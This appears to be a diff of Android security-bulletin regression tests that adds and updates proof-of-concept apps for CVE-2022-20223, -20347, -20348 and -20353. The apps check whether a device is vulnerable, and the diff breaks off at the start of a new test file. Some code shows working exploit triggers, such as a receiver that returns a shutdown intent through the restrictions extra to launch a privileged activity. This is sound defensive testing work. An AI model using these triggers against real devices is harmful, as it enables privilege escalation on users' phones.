index 6257834e8fa..4a250ceda12 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
@@ -15,16 +15,18 @@
limitations under the License.
-->
<resources>
- <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string>
+ <string name="allowAppsTextResId">restricted_profile_configure_apps_title</string>
+ <string name="appSettingsIconResId">%1$s:id/app_restrictions_settings</string>
+ <string name="customizeRestrictionsTextResId">restricted_profile_customize_restrictions</string>
<string name="messageKey">message</string>
<string name="resType">string</string>
<string name="sharedPreferences">SharedPreferences</string>
+ <string name="shutdownMsgResId">shutdown_confirm</string>
<string name="testFailMsg">
Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package
check
</string>
<string name="textResId">user_restrictions_title</string>
<string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
- <string name="uriData">tel:555-TEST</string>
<string name="userName">CVE_2022_20223_RestrictedUser</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
index e47e593f31a..92b1df205bf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
@@ -24,10 +24,10 @@ import static org.junit.Assume.assumeTrue;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.os.Bundle;
import android.provider.Settings;
-import android.telecom.TelecomManager;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
@@ -43,10 +43,11 @@ public class DeviceTest {
private static final int TIMEOUT_MS = 20000;
private UiDevice mDevice;
private Context mContext;
+ private PackageManager mPackageManager;
- private String getDefaultDialerPackage() {
- TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
- return telecomManager.getSystemDialerPackage();
+ boolean isTV() {
+ return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ || mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
}
// Wait for UiObject to appear and click on the UiObject if it is visible
@@ -63,47 +64,77 @@ public class DeviceTest {
try {
mDevice = UiDevice.getInstance(getInstrumentation());
mContext = getInstrumentation().getContext();
+ mPackageManager = mContext.getPackageManager();
+ if (isTV()) {
+ Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
- Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- mContext.startActivity(intent);
+ // Click on text "Allowed apps"
+ String settingsPackageName =
+ intent.resolveActivity(mPackageManager).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+ String text = res.getString(
+ res.getIdentifier(mContext.getString(R.string.allowAppsTextResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ BySelector selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
- BySelector selector = By.text(mContext.getString(R.string.userName));
- assumeTrue(
- mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)),
- clickUiObject(selector));
+ // Click on text "Customize restrictions"
+ text = res.getString(res.getIdentifier(
+ mContext.getString(R.string.customizeRestrictionsTextResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ } else {
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
- String settingsPackageName =
- intent.resolveActivity(mContext.getPackageManager()).getPackageName();
- Context settingsContext = mContext.createPackageContext(settingsPackageName,
- Context.CONTEXT_IGNORE_SECURITY);
- Resources res = settingsContext.getPackageManager()
- .getResourcesForApplication(settingsPackageName);
- String text = settingsContext
- .getString(res.getIdentifier(mContext.getString(R.string.textResId),
- mContext.getString(R.string.resType), settingsPackageName));
- selector = By.text(text);
- assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ // Click on text "CVE_2022_20223_RestrictedUser"
+ BySelector selector = By.text(mContext.getString(R.string.userName));
+ assumeTrue(mContext.getString(R.string.timedOutMsg,
+ mContext.getString(R.string.userName)), clickUiObject(selector));
- selector = By.res(mContext.getString(R.string.appSettingsIconResId));
- assumeTrue(
- mContext.getString(R.string.timedOutMsg,
- mContext.getString(R.string.appSettingsIconResId)),
- clickUiObject(selector));
+ // Click on text "App & content access"
+ String settingsPackageName =
+ intent.resolveActivity(mPackageManager).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+ String text =
+ res.getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ // Click on icon with resource-id "<settingsPackage>:id/app_restrictions_settings"
+ selector = By.res(
+ mContext.getString(R.string.appSettingsIconResId, settingsPackageName));
+ assumeTrue(
+ mContext.getString(R.string.timedOutMsg, mContext
+ .getString(R.string.appSettingsIconResId, settingsPackageName)),
+ clickUiObject(selector));
+ }
+ // Check if ShutDown activity is launched indicating presence of vulnerability
+ String androidPackageName =
+ PocBroadcastReceiver.getShutdownDefaultComponent(mContext).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(androidPackageName);
+ String text =
+ res.getString(res.getIdentifier(mContext.getString(R.string.shutdownMsgResId),
+ mContext.getString(R.string.resType), androidPackageName));
assertFalse(mContext.getString(R.string.testFailMsg),
- mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS));
+ mDevice.wait(Until.hasObject(By.text(text)), TIMEOUT_MS));
} catch (Exception e) {
assumeNoException(e);
} finally {
try {
+ // Check occurrence of any exception in PocBroadcastReceiver
SharedPreferences sharedPrefs = mContext.getSharedPreferences(
mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
String assumptionFailure =
sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
assumeTrue(assumptionFailure, assumptionFailure == null);
} catch (Exception e) {
- assumeNoException(e);
+ // Ignore exceptions here
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
index c3c7083df18..6df2b9db7fe 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
@@ -26,9 +26,8 @@ import android.os.Bundle;
public class PocBroadcastReceiver extends BroadcastReceiver {
- ComponentName getPrivilegeCallDefaultComponent(Context context) {
- Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
- intent.setData(Uri.parse(context.getString(R.string.uriData)));
+ static ComponentName getShutdownDefaultComponent(Context context) {
+ Intent intent = new Intent(Intent.ACTION_REQUEST_SHUTDOWN);
return intent.resolveActivity(context.getPackageManager());
}
@@ -36,14 +35,14 @@ public class PocBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
try {
Bundle result = new Bundle();
- Intent dialIntent = new Intent();
- dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
- dialIntent.setPackage(context.getPackageName());
- dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
- dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
- result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ Intent shutDownIntent = new Intent();
+ shutDownIntent.setComponent(getShutdownDefaultComponent(context));
+ shutDownIntent.setPackage(context.getPackageName());
+ shutDownIntent.setAction(Intent.ACTION_REQUEST_SHUTDOWN);
+ shutDownIntent.putExtra(Intent.EXTRA_KEY_CONFIRM, true);
+ shutDownIntent.putExtra(Intent.EXTRA_USER_REQUESTED_SHUTDOWN, true);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, shutDownIntent);
setResultExtras(result);
- return;
} catch (Exception e) {
SharedPreferences sh = context.getSharedPreferences(
context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
index 52f43c5d979..ec61aa1fdf6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
@@ -63,25 +63,20 @@ public class DeviceTest {
return mContext.getResources().getInteger(resId);
}
+ void switchBluetoothMode(String action) {
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction), action);
+ mContext.startActivity(intent);
+ }
+
@Test
public void testBluetoothDiscoverable() {
OnSharedPreferenceChangeListener sharedPrefListener;
SharedPreferences sharedPrefs;
boolean btState = false;
try {
- BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
-
- // Save the state of bluetooth adapter to reset after the test
- btState = btAdapter.isEnabled();
-
- // If bluetooth is disabled, enable it and wait for start activity to complete
mContext = InstrumentationRegistry.getInstrumentation().getContext();
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction),
- BluetoothAdapter.ACTION_REQUEST_ENABLE);
- mContext.startActivity(intent);
-
Resources resources = mContext.getResources();
sharedPrefs = mContext.getSharedPreferences(
resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
@@ -96,6 +91,25 @@ public class DeviceTest {
}
};
sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+ BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+
+ // Save the state of bluetooth adapter to reset after the test
+ btState = btAdapter.isEnabled();
+
+ // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
+ if (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
+ resources.getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
+ resources.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
+ }
+
+ // Enable bluetooth if in disabled state
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
TimeUnit.MILLISECONDS));
int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
@@ -107,6 +121,9 @@ public class DeviceTest {
// Checking if bluetooth is enabled. The test requires bluetooth to be enabled
assumeTrue(btAdapter.isEnabled());
+ // Checking if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+ assumeTrue(btAdapter.getScanMode() != btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
// Launch bluetooth settings which is supposed to set scan mode to
// SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
UiAutomation uiautomation =
@@ -114,7 +131,7 @@ public class DeviceTest {
uiautomation
.adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
String settingsPkg = getSettingsPkgName();
- intent = new Intent();
+ Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri.parse(mContext.getString(R.string.uri)));
intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
@@ -135,11 +152,7 @@ public class DeviceTest {
try {
// Disable bluetooth if it was OFF before the test
if (!btState) {
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction),
- BluetoothAdapter.ACTION_REQUEST_DISABLE);
- mContext.startActivity(intent);
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
TimeUnit.MILLISECONDS));
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
new file mode 100644
index 00000000000..b07e9f27603
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20348",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
new file mode 100644
index 00000000000..ec6a7752482
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20348"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application>
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20348" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml
new file mode 100644
index 00000000000..e79968d7bb8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="wifiScanningPattern">.*wi.fi scanning.*</string>
+ <string name="wifiScanningTimedOut">Timed out waiting on the text \'Wi-fi scanning\' to appear
+ </string>
+ <string name="failMsg">Device is vulnerable to b/228315529 !!</string>
+ <string name="locationIntentAction">android.settings.LOCATION_SCANNING_SETTINGS</string>
+ <string name="resWifiScanning">android:id/title</string>
+ <string name="setUserRestrictionFailed">Failed to set user restriction
+ UserManager.DISALLOW_CONFIG_LOCATION</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml
new file mode 100644
index 00000000000..65ce601d65f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java
new file mode 100644
index 00000000000..9cdb35d6704
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20348;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Context mContext;
+ UiDevice mDevice;
+ DevicePolicyManager mDevicePolicyManager;
+ ComponentName mComponentName;
+ static final String USER_RESTRICTION = UserManager.DISALLOW_CONFIG_LOCATION;
+ static final int UI_TIMEOUT_MS = 5000;
+
+ String getStringRes(int key) {
+ return mContext.getResources().getString(key);
+ }
+
+ int getIntegerRes(int key) {
+ return mContext.getResources().getInteger(key);
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ /* Return to home screen after test */
+ mDevice.pressHome();
+
+ /*
+ * Clear user restriction "DISALLOW_CONFIG_LOCATION" set by the test and also clear the
+ * app as device owner.
+ */
+ mDevicePolicyManager.clearUserRestriction(mComponentName, USER_RESTRICTION);
+ mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+ } catch (Exception e) {
+ // ignore the exception as the test is already complete
+ }
+ }
+
+ @Test
+ public void testWifiScanningDisallowed() {
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getApplicationContext();
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+ PocDeviceAdminReceiver.class.getName());
+ mDevicePolicyManager.addUserRestriction(mComponentName, USER_RESTRICTION);
+ UserManager userManager = mContext.getSystemService(UserManager.class);
+ assumeTrue(getStringRes(R.string.setUserRestrictionFailed),
+ userManager.getUserRestrictions().getBoolean(USER_RESTRICTION));
+
+ /* Start the window that contains option to toggle "Wi-Fi scanning" on/off */
+ Intent intent = new Intent(getStringRes(R.string.locationIntentAction));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ /* Wait for the window that contains option to toggle "Wi-Fi scanning" */
+ Pattern wifiScanningPattern = Pattern
+ .compile(getStringRes(R.string.wifiScanningPattern), Pattern.CASE_INSENSITIVE);
+ boolean wifiScanningFound = mDevice.wait(Until.hasObject(
+ By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning))),
+ UI_TIMEOUT_MS);
+ assumeTrue(getStringRes(R.string.wifiScanningTimedOut), wifiScanningFound);
+
+ /*
+ * Check if the toggle "Wi-Fi scanning" is enabled, it is supposed to be disabled by
+ * the Device Admin in presence of fix
+ */
+ UiObject2 wifiScanningToggle = mDevice.findObject(
+ By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning)));
+ assertFalse(getStringRes(R.string.failMsg), wifiScanningToggle.isEnabled());
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..129a6b52dc8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20348;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
new file mode 100644
index 00000000000..37d35eb74f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20353",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
new file mode 100644
index 00000000000..d4129ac8823
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20353">
+ <application
+ android:label="@string/appName"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.RINGTONE_PICKER" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20353" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml
new file mode 100644
index 00000000000..3207c29a0bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="success">0</integer>
+ <integer name="timeoutMs">20000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml
new file mode 100644
index 00000000000..27e87f65446
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="alwaysButtonId">android:id/button_always</string>
+ <string name="appName">CVE-2022-20353</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="failureMessage">
+ Device is vulnerable to b/221041256!! Privilege escalation possible in
+ com.android.settings.DefaultRingtonePreference
+ </string>
+ <string name="fileName">NOTICE.html</string>
+ <string name="getRingtoneCmd">settings get system ringtone</string>
+ <string name="messageKey">message</string>
+ <string name="noticeUri">
+ content://com.android.settings.files/my_cache/NOTICE.html
+ </string>
+ <string name="resType">string</string>
+ <string name="resultKey">result</string>
+ <string name="setRingtoneCmd">settings put system ringtone</string>
+ <string name="sharedPreferences">sharedPreferences</string>
+ <string name="textResId">ringtone_title</string>
+ <string name="uiObjectNotFoundMsg">Unable to find UiObject with %1$s text/id</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java
new file mode 100644
index 00000000000..af1f9782ab0
